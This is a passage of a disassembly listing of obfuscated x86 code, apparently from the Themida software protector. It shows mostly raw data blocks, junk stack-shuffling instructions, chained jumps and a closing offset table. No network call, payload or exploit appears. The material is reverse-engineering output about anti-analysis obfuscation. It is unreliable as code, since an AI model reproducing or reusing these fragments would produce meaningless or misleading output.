		dd 61AA0DE0h, 5E42BD55h, 0EF093C31h, 3DC7815Dh,	5049EA25h
		dd 0A6052B68h, 0CFEE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F6B2:				; CODE XREF: Themida_:005494CAj
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	bl, al
		jmp	loc_5447A7
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4BC764E2h, 48B5EB81h, 0EB810C70h, 41DC1F01h,	6BE7BD55h
		dd 0EB0174E8h, 0A2B9515Dh, 50443731h, 62B4BD55h, 0E8895A62h
		dd 0FF6419E9h, 0E9CA29FFh, 0FFFFA90Ah, 6A4604BAh, 71EDE933h
		dd 5266FFFFh, 0C6FE61B6h, 756CE952h, 0C87FFFFh,	0CAADE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F716:				; CODE XREF: Themida_:00548023j
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5452C3
; ---------------------------------------------------------------------------
		db 68h,	8Ch, 63h
		dd 0CE90000h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F72B:				; CODE XREF: Themida_:00544AACj
		mov	eax, 0C60D4E67h
		xor	eax, ecx
		pop	ecx
		sub	ebx, eax
		pop	eax
		jmp	loc_548FA2
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2C8BE901h, 4C48324h,	0FF518BE9h, 4E3CE9FFh, 487FFFFh
		dd 0F402E924h, 489FFFFh, 7D31E924h, 0C581FFFFh,	4, 2474FF55h
		dd 93E95D04h, 81FFFFDCh, 85090CC1h, 0AAE0E9E4h,	0E951FFFFh
		dd 6Eh,	0CB80D3F6h, 0DCEB8014h,	0FF51E8E9h, 674A05FFh
		dd 565F236Ch, 0C681E689h, 4, 0FF9BF6E9h, 0E9D329FFh, 0FFFF6E02h
		dd 6624248Bh, 8324048Bh, 148904ECh, 7447E924h, 8B66FFFFh
		dd 0E953240Ch, 0FFFF6A5Bh
; ---------------------------------------------------------------------------


loc_54F7C4:				; CODE XREF: Themida_:005463ECj
		push	7542h
		jmp	loc_54747A
; ---------------------------------------------------------------------------


loc_54F7CE:				; CODE XREF: Themida_:005450E5j
		add	esi, 703564C7h
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	6134h
		mov	[esp], esp
		jmp	loc_54B58A
; ---------------------------------------------------------------------------
		dw 0E1B9h
		dd 81207404h, 0ED63FBE1h, 0D2CEE939h, 0F301FFFFh, 282E95Eh
		dd 0E5890000h, 0FF7991E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F80D:				; CODE XREF: Themida_:00547328j
		push	dword ptr [esp]
		jmp	loc_5471FB
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHo		db '$ho\',0
		align 2
		dw 1C89h
		dd 5718E924h, 0E959FFFFh, 0FFFF5500h, 83242C8Bh, 1E6804C4h
		dd 8900005Dh, 0B850241Ch, 403B51B7h, 3B51B9BBh,	58C32940h
		dd 0F20D6805h, 2DD8017Bh, 7BF20D68h, 8879E95Bh,	5FBDFFFFh
		dd 81248F6Ah, 4F70F5F5h, 1DED816Bh, 815FA17Dh, 1E9D8BEDh
		dd 5DE801F0h, 0FF94DAE9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h
		dd 0FFFF4D02h, 4C48358h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54CC5B
; ---------------------------------------------------------------------------


loc_54F894:				; CODE XREF: Themida_:0054DE1Cj
		popf
		retn
; ---------------------------------------------------------------------------
		dw 0EFE9h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F89B:				; CODE XREF: Themida_:005479C1j
		push	eax
		mov	eax, 4DBE07E4h
		jmp	loc_54518E
; ---------------------------------------------------------------------------
		dw 5350h
		dd 0F5E72CBBh, 5BD8898Dh, 85E9C101h, 81FFFFC6h,	4EAh, 24148700h
		dd 2434895Ch, 0FFEDD9E9h, 8E3C0FFh, 0FF6ECDE9h,	4ED83FFh
		dd 5C242C87h, 0FF9100E9h, 0E9CA89FFh, 0FFFF984Ch, 0F6B1B151h
		dd 0B250E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F8EE:				; CODE XREF: Themida_:005462E8j
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		xchg	edx, ecx
		xchg	eax, edx
		jmp	loc_54E661
; ---------------------------------------------------------------------------
		db 0C3h
		dd 240C8B66h, 2F8C68h, 24148900h, 0C6E95A54h, 0E9000008h
		dd 0FFFF4C72h, 4C48358h, 4F68C101h, 8900007Ch, 18F2414h
		dd 57240C8Bh, 0C781E789h, 4, 0E904C783h, 0FFFFC0C0h, 0FF240489h
		dd 0E9042474h, 0FFFFFAC9h, 723E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F94E:				; CODE XREF: Themida_:00547271j
		pop	dword ptr [esp]
		jmp	loc_5490D6
; ---------------------------------------------------------------------------


loc_54F956:				; CODE XREF: Themida_:00546A25j
		mov	ecx, 36E27135h
		sub	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	eax, 44E50118h
		add	eax, ecx
		sub	eax, 44E50118h
		pop	ecx
		add	eax, 2
		jmp	loc_54C15C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 0E0F58104h, 455FC102h, 4DEEC581h, 58E92323h
		dd 5BFFFFB8h, 0E95EF131h, 0FFFFE298h, 0BE56F101h, 1FF1E27h
		dd 0E681464Eh, 4E7E1130h, 0A221EE81h, 0F101AAC3h, 0FF8049E9h
		dd 1D8B68FFh, 0C890000h, 0E9595424h, 0FFFFFB41h, 4C481h
		dd 50570000h, 0C12E46B8h, 4AB2BF70h, 0C729BF63h, 8124048Bh
		dd 4C4h, 8BF82900h, 32E9243Ch, 83FFFF56h, 3FE904ECh, 89FFFF77h
		dd 0E2892414h, 4C281h, 0E9570000h, 0FFFF515Ah, 0DB2D6268h
		dd 0DEF75E3Dh, 0FF5FB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FA15:				; CODE XREF: Themida_:0054C13Aj
		mov	[esp], ebp
		pop	eax
		pop	ebp
		push	ebx
		push	edi
		jmp	loc_548E34
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 99E90000h, 31FFFFECh, 0D2F75BDAh, 0FF9AC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FA35:				; CODE XREF: Themida_:00549C59j
		pop	edx
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_544FF1
; ---------------------------------------------------------------------------


loc_54FA41:				; CODE XREF: Themida_:005466C0j
		sub	esi, edx
		jmp	loc_54D0BB
; ---------------------------------------------------------------------------


loc_54FA48:				; CODE XREF: Themida_:0054C7A0j
		mov	eax, esi
		mov	edx, eax
		pop	eax
		pop	esi
		push	eax
		jmp	loc_54BDC4
; ---------------------------------------------------------------------------
		dd 3600BB53h, 0D8290D24h, 2434FF5Bh, 2967685Fh,	2C890000h
		dd 81E58924h, 4C5h, 4C58300h, 0FFF6EEE9h, 2EC81FFh, 66000000h
		dd 0E9240489h, 0FFFFA0AEh, 8704C383h, 515C241Ch, 845143B9h
		dd 53D1F71Bh, 7BAEB8BBh, 5BD929E4h, 8359CD01h, 2C8704C5h
		dd 0EB805C24h, 3DB0508Ch, 5258C328h, 0FF90AEE9h, 88F388FFh
		dd 0A3E95BD9h, 8BFFFFD2h, 0C4812434h, 4, 4C681h, 0CE90000h
		dd 81FFFF97h, 4C1h, 0EE18E900h,	0DBF6FFFFh, 0FFFDE0E9h
		dd 0C8B66FFh, 124D6824h, 0C890000h, 4EC8124h, 54000000h
		dd 8324048Fh, 8B042404h, 23E9240Ch, 81FFFF63h, 4ECh, 243C8900h
		dd 0C7815F54h, 4, 68555356h, 24402DC1h,	81EDD15Dh, 0AE3245EDh
		dd 81D5F763h, 4CFBFFC5h, 295E9DEh, 0C5810000h, 3E8E7813h
		dd 8103E5C1h, 3C1F60C5h, 0D7F58103h, 457D7926h,	32EF581h
		dd 2EE9989Dh, 81FFFFA5h, 0E1660DC1h, 59CD89F1h,	0FFD136E9h
		dd 29C781FFh, 55681E6Ch, 0FFF8FBE9h, 68FFh, 2C810000h
		dd 30EAA24h, 24142940h,	0AA240481h, 0E940030Eh,	0FFFFD2C3h
; ---------------------------------------------------------------------------


loc_54FB90:				; CODE XREF: Themida_:0054D0BFj
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_550369
; ---------------------------------------------------------------------------
		db 56h
		dd 0FE57D9BEh, 3EEE8153h, 890B9F0Ch, 0E0C15EF0h, 24F40502h
		dd 0B90D34B4h, 5532353Eh, 0FFED65E9h, 4F7268FFh, 8AE90000h
		dd 0F6FFFFC2h, 2ECC0D4h, 806FCC80h, 0E63067C4h,	0FF5D51E9h
		dd 24E959FFh, 4BFFFF96h, 83CBE94Bh, 0B850FFFFh,	585D7BE8h
		dd 0FFD361E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FBF1:				; CODE XREF: Themida_:00550372j
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_548291
; ---------------------------------------------------------------------------


loc_54FC07:				; CODE XREF: Themida_:0054B6F2j
		sub	eax, 75552550h
		add	eax, ebx
		add	eax, 75552550h
		add	[eax], ecx
		pop	eax
		pop	ebx
		jmp	loc_55038A
; ---------------------------------------------------------------------------


loc_54FC1C:				; CODE XREF: Themida_:00545ED0j
		mov	esi, 9437AC38h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, eax
		pop	eax
		inc	ebx
		jmp	loc_54BA79
; ---------------------------------------------------------------------------
		dw 575Bh
		dd 4BFh, 45C28100h, 14D9B50h, 0F9D8E9FAh, 8B66FFFFh, 68532414h
		dd 69BEh, 81242489h, 42404h, 34FF0000h,	241C8B24h, 8104C483h
		dd 4C4h, 4C38100h, 68000000h, 3DF8h, 0B9240C89h, 241639E7h
		dd 0FFF140E9h, 0E9F786FFh, 0FFFFF167h
; ---------------------------------------------------------------------------


loc_54FC88:				; CODE XREF: Themida_:005468C5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_54C085
; ---------------------------------------------------------------------------
		dd 0FF56D6F7h, 8B042474h, 0C4812434h, 4, 0E924048Fh, 0FFFF7CEEh
		dd 0FF48ADE9h, 2E6866FFh, 4896677h, 0FE885224h,	0E95AF088h
		dd 0FFFFC252h, 9BE8E959h, 34FFFFFFh, 24048B24h,	5304C483h
		dd 0C381E389h, 4, 4D5468h, 24048900h, 4B8h, 0FFC30100h
		dd 83582434h, 2C8904ECh, 0C2E95424h, 0C1FFFFB5h, 0E94105E1h
		dd 0FFFFD76Eh, 4C281h, 14870000h, 24248B24h, 0FF66C331h
		dd 4844E930h, 8951FFFFh, 4C181E1h, 0E9000000h, 0FFFF7C8Ch
		dd 0ED80D500h, 148B66FDh, 2C48324h, 6859E800h, 788h, 83241489h
		dd 0C8904ECh, 5000B124h, 0FFF1BFE9h, 3C8B5AFFh,	4C48324h
		dd 0CE62492Dh, 5D00154h, 54CE6249h, 8124148Bh, 4C4h, 81C38100h
		dd 576C3D2Eh, 0AC6494BFh, 73F78142h, 2936440Fh,	243C8BFBh
		dd 0FF892CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FDB1:				; CODE XREF: Themida_:0054C7A6j
		or	ebx, 7C4421D0h
		sub	ebx, 7C6423C4h
		mov	edi, ebx
		jmp	loc_5490CB
; ---------------------------------------------------------------------------
aBIacisp	db '│ф╘A≈IИP',8,0
		dw 8900h
		dd 0DBF75DEBh, 5543D3F7h, 0D44B53BDh, 3E5C178h,	10E3C581h
		dd 0ED81773Ah, 6DB782DCh, 0E95DEB01h, 0FFFF6834h, 4EC8350h
		dd 24048F54h, 4240481h,	0E9000000h, 0FFFF7411h,	5FF8895Bh
		dd 0FF4779E9h, 0C7EA81FFh, 132DD33h, 0C7C281FAh, 8132DD33h
		dd 0F176DCC2h, 0BB5312h, 1000000h, 8B2B31D3h, 0C481241Ch
		dd 4, 0D2315D5Ah, 7CC268h, 241C8900h, 0FFCAC0E9h, 59C828FFh
		dd 3B3668h, 240C8900h, 5338B050h, 0D98862B3h, 0FFD23EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FE61:				; CODE XREF: Themida_:0054CE9Aj
		and	eax, 0CCF51B8h
		shr	eax, 7
		shr	eax, 6
		add	eax, 566E25A5h
		add	eax, 0F460DB0Dh
		mov	esi, eax
		jmp	loc_548076
; ---------------------------------------------------------------------------
		db 28h,	0DDh, 8Bh
		dd 0C483241Ch, 0E6BCE904h, 0EDBAFFFFh, 0E979080Fh, 0FFFFFCE1h
		dd 0B3241C89h, 70B569h,	0E8285BDDh, 592434FFh, 0FFBB2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FEA9:				; CODE XREF: Themida_:00548749j
		pop	ebx
		shr	ebx, 2
		sub	ebx, 3D1F359Ah
		xor	ebx, 0EF7A5A9Bh
		push	ebx
		sub	dword ptr [esp], 15F2E37h
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 15F2E37h
		pop	ebx
		not	ebp
		xchg	ecx, ebp
		dec	ecx
		xchg	ecx, ebp
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_54BF27
; ---------------------------------------------------------------------------
		dd 4240483h, 247E9h, 7C015E00h,	5E5F0424h, 4C681h, 0C6810000h
		dd 2, 8B243487h, 17E92424h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FF0F:				; CODE XREF: Themida_:0054A8C9j
		mov	[esp], edx
		jmp	loc_5458A3
; ---------------------------------------------------------------------------
		db 54h
		dd 4C5815Dh, 81000000h,	4C5h, 242C8700h, 0FFC42EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FF2D:				; CODE XREF: Themida_:0054A233j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	5563h
		mov	[esp], ebp
		jmp	loc_54ECE0
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5A000000h, 4C281h, 0C2830000h, 74FF5202h, 8F5A0424h
		dd 248B2404h, 0E9E9F624h, 0FFFFC36Eh, 83240C8Bh, 0F8E904ECh
		dd 5BFFFF9Eh, 0FF5B4DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FF75:				; CODE XREF: Themida_:0054B96Aj
		shl	cl, 2
		add	cl, 8
		mov	dl, cl
		pop	ecx
		add	bh, dl
		pop	dx
		xor	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		xor	al, dh
		pop	edx
		push	ecx
		push	78AEh
		mov	[esp], eax
		jmp	loc_549AB1
; ---------------------------------------------------------------------------
		dw 295Dh
		dd 0D82959CBh, 0FFDB68E9h, 240487FFh, 0E924248Bh, 0FFFFA2FDh
; ---------------------------------------------------------------------------


loc_54FFB4:				; CODE XREF: Themida_:0054C1CCj
		shl	edx, 1
		jmp	loc_54AE5D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0C105EEC1h, 0F68107EEh, 1766177Ah, 0A755E957h, 7C8AFFFFh
		dd 64880224h, 89E90224h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FFDB:				; CODE XREF: Themida_:0054B8CBj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		pop	eax
		pop	edx
		xchg	edi, edx
		jmp	loc_5505D0
; ---------------------------------------------------------------------------
		dd 0FF4591E9h, 24048BFFh, 60168h, 24348900h, 0C681E689h
		dd 4, 4C681h, 34870000h, 24248B24h, 0E599E955h,	8B66FFFFh
		dd 2F682404h, 89000038h, 0E0892404h, 7FBEBF57h,	0EFC10406h
		dd 1C78302h, 0FFF655E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55003D:				; CODE XREF: Themida_:005485CEj
		mov	esi, esp
		add	esi, 4
		jmp	loc_54D463
; ---------------------------------------------------------------------------


loc_55004A:				; CODE XREF: Themida_:0054EB53j
		push	6BA5h
		mov	[esp], edx
		mov	edx, 18C66DEAh
		add	ebp, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_545BBF
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 26AA6E70h, 5124048Bh, 0FF56D3E9h, 2615BDFFh,	0F5812A6Eh
		dd 27817B92h, 2EFCED81h, 0E5810E2Eh, 56F54F43h,	2232E581h
		dd 0F9E9577Eh, 0BAFFFF7Dh, 687C4A7Eh, 7732EA81h, 0F28175AFh
		dd 0F2CCD348h, 815AD701h, 4C7h,	243C8700h, 5CBB535Ch, 31258020h
		dd 2434FFDFh, 4C4815Bh,	89000000h, 0EC835FF9h, 240C8904h
		dd 0FF9E59E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5500D1:				; CODE XREF: Themida_:005477D3j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_54EBB1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0A8E92434h, 59FFFF94h, 8904EC83h, 51E92434h,	41FFFFA7h
		dd 8141D1F7h, 4E20D1C1h, 59CB01EAh, 0C91EB81h, 0C30145FDh
		dd 0FF8BBFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550119:				; CODE XREF: Themida_:00545A3Dj
		push	dword ptr [esp]
		jmp	loc_54D932
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C2h, 2C28100h, 0E9000000h, 0FFFFF156h, 0E924348Bh
		dd 0FFFFF1ECh, 0E9243489h, 0FFFF6C18h, 0F44EE9ADh, 4BAFFFFh
		dd 1000000h, 0A1F7E9D1h, 4BBFFFFh, 1000000h, 0BB535BD9h
		dd 4, 0FF70E6E9h, 240487FFh, 5724248Bh,	0FF4BE0E9h, 2DE4BEFFh
		dd 12E95ADBh, 83FFFF4Bh, 148704C2h, 0EEE95C24h,	0F7FFFF54h
		dd 0CE7AE9D5h, 0E95AFFFFh, 0FFFFC05Ah, 57240C8Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 89535C24h, 7CA268E3h, 14890000h
		dd 0B9515524h, 2BE51031h, 0FFF992E9h, 59CB29FFh, 4F9EEB81h
		dd 0C3016942h, 0FF6770E9h, 4BE56FFh, 57000000h,	0B94B46BFh
		dd 55574F6Bh, 0D5F75D5Fh, 8147EF87h, 68676DEFh,	0E2E78114h
		dd 8109EC7Dh, 846BDF7h,	5FFA0141h, 0EA81F201h, 48C40BFFh
		dd 0FF900CE9h, 0B60F66FFh, 51E952CCh, 81FFFFAEh, 0B1198FC6h
		dd 0E0C68117h, 314B672Ch, 0BB19E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55022E:				; CODE XREF: Themida_:00549295j
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		add	dword ptr [esp+4], 659B44ADh
		sub	dword ptr [esp+4], 1443592h
		add	dword ptr [esp+4], 33B74506h
		sub	[esp+4], edx
		sub	dword ptr [esp+4], 33B74506h
		add	dword ptr [esp+4], 1443592h
		jmp	loc_54B78C
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0C9h
		dd 81689361h, 4A024FEAh, 79C2811Dh, 8123A456h, 970023C2h
		dd 81C2295Ah, 970023EAh, 79EA815Ah, 8123A456h, 4A024FC2h
		dd 6DBB531Dh, 504BBC1Ch, 2A41DAB8h, 8BC30131h, 0C4812404h
		dd 4, 62EAB951h, 0CB316B22h, 0FFC232E9h, 0E95966FFh, 0FFFFB507h
		dd 0E8007F2Ch, 7FB753h,	8B665BF8h, 8950240Ch, 88BA52E0h
		dd 813F0F27h, 0B04FB2F2h, 0DFE28167h, 0E910CE2Ch, 0FFFF853Bh
		dd 4EC81h, 0FCE90000h, 81FFFFD4h, 237C31C2h, 8502E944h
		dd 6664FFFFh, 0A968028Bh, 89000052h, 56682414h,	0E9000025h
		dd 0FFFFB41Eh, 2D5DE801h, 45030ED2h, 1704F92Dh,	0AAE95E1Eh
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55033F:				; CODE XREF: Themida_:0054546Ej
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_54E2F6
; ---------------------------------------------------------------------------
		db 89h,	0E8h, 5Dh
		dd 112E9h, 54295E00h, 0E95A0424h, 0FFFFC74Dh, 9C2424D3h
		dd 0FF4221E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550369:				; CODE XREF: Themida_:0054FB96j
		push	ebx
		mov	ebx, 1
		mov	edi, ebx
		pop	ebx
		jmp	loc_54FBF1
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8702C083h, 835C2404h, 1C8904ECh, 6D77E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55038A:				; CODE XREF: Themida_:0054FC17j
		pop	ecx


loc_55038B:				; CODE XREF: Themida_:0054CC36j
		push	3769h
		mov	[esp], ebx
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_54D68F
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 0E6F18108h, 0F7080946h, 0E94941D1h, 0FFFFAE5Bh, 9862E958h
		dd 805BFFFFh, 0E95344EEh, 0FFFFF6F9h, 0B353D828h, 7EC380DDh
		dd 0FF7193E9h, 241487FFh, 0EC81555Ch, 4, 0E9242489h, 0FFFF959Bh
		dd 4C2815Ah, 56000000h,	0C6815E54h, 4, 8704EE83h, 0E0E92434h
		dd 2DFFFFC7h, 3E1C61F7h, 0F705D029h, 5A3E1C61h,	0FF97F1E9h
		dd 55E289FFh, 89409ABDh, 52D5F72Ah, 9F0FDFBAh, 5AD5317Ah
		dd 0DDF7DDF7h, 6D2CE94Dh, 0C481FFFFh, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 6DE4E5Fh
		shl	edx, 3
		push	eax
		mov	eax, 64AF34FAh
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 0D2433DFAh
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_544E10
; ---------------------------------------------------------------------------


loc_550461:				; CODE XREF: Themida_:0054F68Dj
		push	edx
		jmp	loc_545A10
; ---------------------------------------------------------------------------
		db 59h
		dd 6CE4BD55h, 0E950310Eh, 0FFFF88CFh, 73BBE95Ch, 0C681FFFFh
		dd 4, 8B243487h, 0FFE92424h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55048B:				; CODE XREF: Themida_:0054C57Dj
		mov	esi, [esp]
		jmp	loc_54A3CB
; ---------------------------------------------------------------------------
		db 81h
		dd 0DF5D8CC6h, 8500E906h, 0C89FFFFh, 9E45E924h,	0EC83FFFFh
		dd 24048904h, 0FF675EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5504B1:				; CODE XREF: Themida_:0054D469j
		pop	esp
		mov	[esp], esi
		push	20CFh
		mov	[esp], edi
		mov	edi, 449E7F7Fh
		push	ecx
		mov	ecx, 57BD7F9Bh
		jmp	loc_54907A
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 0FF66B9E9h, 58C629FFh, 4676857h, 3C8B4E67h, 23E56824h
		dd 14890000h, 81E28924h, 4C2h, 4C28300h, 0FF7F46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5504F9:				; CODE XREF: Themida_:0054BCEAj
		sub	edi, 3EFC34ADh
		mov	esi, [esp]
		add	esp, 4
		jmp	locret_54758B
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 59F65DCDh, 0F704E7C1h, 29CF81DFh, 0E9617015h, 0FFFF7E24h
		dd 57A3BB53h, 0F3811966h, 27B40AF1h, 6049EB81h,	0C38312FAh
		dd 7EBC1FFh, 0ECF381h, 0C3814D46h, 0B6DA627Ch, 915BD821h
		dd 591D1F7h, 57FC6A56h,	0FFFF80E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550555:				; CODE XREF: Themida_:005483EBj
		mov	eax, [esp]
		push	ebx
		jmp	loc_54ABC2
; ---------------------------------------------------------------------------
		dw 481h
		dd 9D769924h, 96BF575Eh, 10AEB11h, 5F04247Ch, 9A240481h
		dd 0E928AE77h, 0FFFF400Eh
; ---------------------------------------------------------------------------


loc_55057C:				; CODE XREF: Themida_:0054F610j
		add	esp, 4
		jmp	loc_548F9B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BD5504EBh, 2C40CC0h, 0FFA008E9h, 4DC681FFh,	2917C51Ch
		dd 4DEE81DEh, 0E917C51Ch, 0FFFFF3EBh, 2A2A68h, 24048900h
		dd 578868h, 24248900h, 4240481h, 58000000h, 4BF57h, 2E2D0000h
		dd 0E93CA82Ah, 0FFFFE8AFh
; ---------------------------------------------------------------------------


loc_5505D0:				; CODE XREF: Themida_:0054FFEFj
		not	edi
		xor	edx, edi
		jmp	loc_54DF58
; ---------------------------------------------------------------------------
		db 54h,	58h, 56h
		dd 0FF72C1E9h, 240433FFh, 33240431h, 248B2404h,	24042924h
		dd 0DABCE99Ch, 0ED04FFFFh, 0AE99C04h, 58FFFF5Dh, 4EC81h
		dd 3C890000h, 0E9E78924h, 0FFFF84BCh, 0B4CA00B8h, 8BC201AAh
		dd 0DBE92404h, 29FFFF8Ah, 1C875EF3h, 0CA9AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55062A:				; CODE XREF: Themida_:0054A208j
		push	ecx
		push	edx
		mov	edx, 71AC415Bh
		add	edx, 0AD0CC7Fh
		mov	ecx, edx
		jmp	loc_54B9F1
; ---------------------------------------------------------------------------


loc_55063E:				; CODE XREF: Themida_:00548119j
		add	esp, 4
		add	esi, 4
		jmp	loc_54E5CD
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 8F60833h, 16D34BDh, 59CD312Eh, 19E9E901h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550663:				; CODE XREF: Themida_:00547EDAj
		pop	edi
		push	esi
		push	esp
		pop	esi
		push	eax
		jmp	loc_54C9F1
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324348Bh, 0C48304C4h, 240C3304h, 33240C31h,	0E95C240Ch
		dd 0FFFF9152h, 0FA4CC7BFh, 5A2D6Bh, 0
		dd offset byte_5A3901
		dd 0
		dd 7B40EFD4h, 0DA1708EBh, 213h,	2, 1, 2, 0FA4CC7BFh, 5 dup(0)
		dd offset aM0SB		; "╛0ьИ\"b"
		dd offset byte_554EC7
		dd offset dword_5537C4
		dd offset byte_564DB3
		dd offset dword_5571F8
		dd offset byte_563D8F
		dd offset word_56157E
		dd offset dword_552794
		dd offset dword_5642D0
		dd offset dword_558E48
		dd offset dword_55545C
		dd offset word_552F32
		dd offset byte_557377
		dd offset word_55AA8A
		dd offset byte_55795B
		dd offset word_564E66
		dd offset byte_55FE2F
		dd offset byte_56572B
		dd offset word_55C82E
		dd offset byte_553D37
		dd offset word_56018E
		dd offset word_561136
		dd offset byte_55A8FD
		dd offset byte_556A9B
		dd offset word_554842
		dd offset dword_5588C0
		dd offset word_55B7A6
		dd offset byte_559AB5
		dd offset dword_555DAC
		dd offset byte_562A87
		dd offset byte_564F69
		dd offset byte_558253
		dd offset byte_561899
		dd offset dword_55DAA0
		dd offset byte_560139
		dd offset byte_55A2A7
		dd offset word_558C22
		dd offset word_5644B2
		dd offset dword_563BC0
		dd offset dword_551E00
		dd offset byte_55824B
		dd offset word_55D692
		dd offset byte_55A203
		dd offset byte_555F71
		dd offset byte_55DFB5
		dd offset word_565182
		dd offset word_56284A
		dd offset dword_556028
		dd offset byte_562BA7
		dd offset byte_563209
		dd offset dword_555D80
		dd offset byte_554DFD
		dd offset dword_55520C
		dd offset byte_556733
		dd offset byte_55AA23
		dd offset word_565722
		dd offset byte_550C85
		dd offset word_5550A2
		dd offset byte_5645B7
		dd offset byte_55337F
		dd offset word_550D3A
		dd offset word_55A512
		dd offset dword_561318
		dd offset dword_55A01C
		dd offset byte_55E27D
		dd offset byte_55281F
		dd offset word_55E5D2
		dd offset dword_55478C
		dd offset word_55FEE6
		dd offset dword_55D240
		dd offset aNhf@		; "╜h■@"
		dd offset byte_55D3A3
		dd offset byte_559415
		dd offset byte_564283
		dd offset byte_55A475
		dd offset word_565412
		dd offset word_56550E
		dd offset word_56348E
		dd offset word_55CE2E
		dd offset byte_552B8D
		dd offset dword_55BF0C
		dd offset byte_564C1F
		dd offset aN1Sc		; "╜1ьИФт"
		dd offset byte_56080F
		dd offset byte_5655DB
		dd offset word_557F3E
		dd offset word_55CC4A
		dd offset byte_560A0B
		dd offset word_561A96
		dd offset byte_55B9D1
		dd offset dword_55D628
		dd offset byte_559C4F
		dd offset byte_55317F
		dd offset byte_562BB3
		dd offset word_55386A
		dd offset byte_55A8AF
		dd offset word_55119E
		dd offset byte_552731
		dd offset word_552C42
		dd offset byte_5575ED
		dd offset word_55C52E
		dd offset word_563D7A
